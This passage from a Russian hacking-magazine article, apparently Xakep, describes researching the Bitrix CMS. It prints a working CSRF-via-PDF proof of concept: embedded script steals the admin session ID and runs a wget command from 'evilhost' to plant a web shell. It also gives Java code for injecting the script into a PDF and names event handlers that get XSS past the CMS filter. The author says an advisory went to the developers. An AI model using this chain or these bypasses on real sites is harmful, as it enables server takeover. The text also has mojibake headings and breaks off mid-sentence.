JIT SPRAY АНАЛИЗ TDSS - Xakep Online

ВЗЛОМ
Пример XSS, найденной на сайте SecurityLab.Ru
Диалог подтверждения отправки запроса HTTP из
PDF. Не высвечивается при отправке запроса на
тот же домен, на котором расположен PDF
var a = Get("http://targethost:6448/bitrix/admin/
user_admin.php?lang=ru")
var sessid = (Substr(a,At(a,"sessid=")+7,32))
Post("http://targethost:6448/bitrix/admin/php_command_
line.php?mode=frame&lang=ru",Concat("sessid=",sessi
d,"&query=system%28%27wget http://evilhost:6448/s.
txt –O shell.php%27%29%3B"),"application/x-www-formurlencoded")
Для создания PDF-документа можно было воспользоваться триальной
версией Adobe Livecycle Designer (adobe.com/go/trylivecycle), но
дистрибутив весил целых 3 Гб. Поэтому я решил скачать готовый PDF
с каким-нибудь скриптом и просто заменить текст самого скрипта. Для
работы с форматом PDF нашлась прекрасная бесплатная библиотека
iText (itextpdf.com) под Java. Функция для замены скрипта в документе
получилась такая:
public static void replacePDFScript(
String filename, String script)
{
try
{
PdfReader reader = new PdfReader(filename);
XfaForm xfa = new XfaForm(reader);
Document doc = xfa.getDomDocument();
NodeList list = doc.getElementsByTagName("script");
list.item(0).setTextContent(script);
PdfStamper stamper = new PdfStamper(reader,
new FileOutputStream(filename+"_mod.pdf"));
xfa.setDomDocument(doc);
xfa.setChanged(true);
XfaForm.setXfa(xfa, stamper.getReader(),
stamper.getWriter());
stamper.close();
}
catch (Exception e) {
e.printStackTrace();
}
}
Согласись, использовать сие всяко проще, чем скачивать 3 Гб платного
софта. Теперь немного о том, что касается ограничений безопасности
Adobe Acrobat на отправку запросов из документа. Сам PDFдокумент,
ясное дело, может быть открыт как через ActiveX-компонент
Adobe Acrobat в браузере, так и напрямую из локального файла в окне
Acrobat’а. По умолчанию все запросы, которые посылает PDF-документ,
требуют подтверждения со стороны пользователя. Высвечивается окно с
предложением разрешить отправку запросов с домена, на котором расположен
документ. Замечу, что ограничения именно для домена отправителя,
а не как это принято обычно — для домена, куда осуществляется
068
запрос. Если же открывается локальный файл, то санкция устанавливается
на имя файла, что, кстати, может быть использовано для атаки с
подменой содержимого. Но вот если документ открыт через браузер, и
запрос отправляется на тот же домен, на котором расположен документ,
никаких ограничений безопасности не срабатывает! Такой вариант
открытия документа и присутствовал в Битриксе на момент исследования.
Собственно, на этом PoC-эксплоит был готов. Я зашел от имени
нового пользователя в свой локальный Битрикс, на котором проводил
эксперименты, создал заявку в модуле «техническая поддержка» и прикрепил
к ней полученный PDF. Затем перелогинился от администратора
и просмотрел заявку от пользователя, после чего открыл содержащийся
в ней документ. На экране отобразился совершенно чистый белый лист,
никаких предупреждений, никаких сообщений. Результат работы эксплойта
красовался по адресу http://targethost:6448/bitrix/admin/shell.php.
Получилась очень показательная демонстрация атаки CSRF, которая
часто критически недооценивается разработчиками. Если строго подходить
к классификации, уязвимость, конечно, не простая CSRF. Здесь
злоумышленник может изменять заголовки HTTP-запроса, и главное —
работать с ответом сервера.
ÂÀÓ, WAF!
Красивая реализация CSRF через PDF подстегнула проделать аналогичный
трюк с помощью первой обнаруженной уязвимости XSS. Но для
этого необходимо было обойти «проактивную защиту», которая уже была
исправлена с момента моих последних раскопок (см. статью «Сказки
XSSахеризады»). Тут было два вектора атаки — найти способ обхода
фильтрации либо существующих выражений, либо не фильтруемых. Учитывая,
что первый вектор я уже исследовал и показал на СС09, решил
пробиваться по второму. Тут ничего нового не придумаешь, воспользовался
методами, описанными в статье «Сказки XSSахеризады» и полез
в документацию на броузерные HTML. 15 минут раскопок принесли
плоды — под InternetExplorer нашлись два метода onmouseenter и
onmouseleave. Это аналоги фильтруемых WAF исключений onmouseover,
onmouseout. То, что доктор прописал :). Чтобы сделать атаку кроссбраузерной,
пришлось еще немного порыться в документации... и в
итоге нашелся интересный метод onselectstart, который работал и в IE,
и в Chrome. Причем в случае с Chrome ивент срабатывает просто при
клике, а для IE требуется еще провести по тексту, как при выделении.
На этом этапе уже ничто не мешало осуществить второй вариант CSRF
и, опять-таки, получить веб-шелл. К сожалению, день уже заканчивался,
с момента начала исследования прошло семь часов, оформить все
найденное в приличные advisory я уже не успевал, поэтому просто пошел
спать.
ÀÍÒÐÀÊÒ È ÒÐÅÒÈÉ ÀÊÒ
Через несколько дней удалось снова выкроить время и вернуться к
исследованию движка. Первым делом был написан advisory и отправлен
разработчикам. Нехитрый список уязвимостей содержал CSRF via
PDF, XSS в тэге [URL] и новые методы обхода WAF. Теперь надо было
написать пример для заливки шелла через две уязвимости (XSS+WAF
XÀÊÅÐ 09 /140/ 10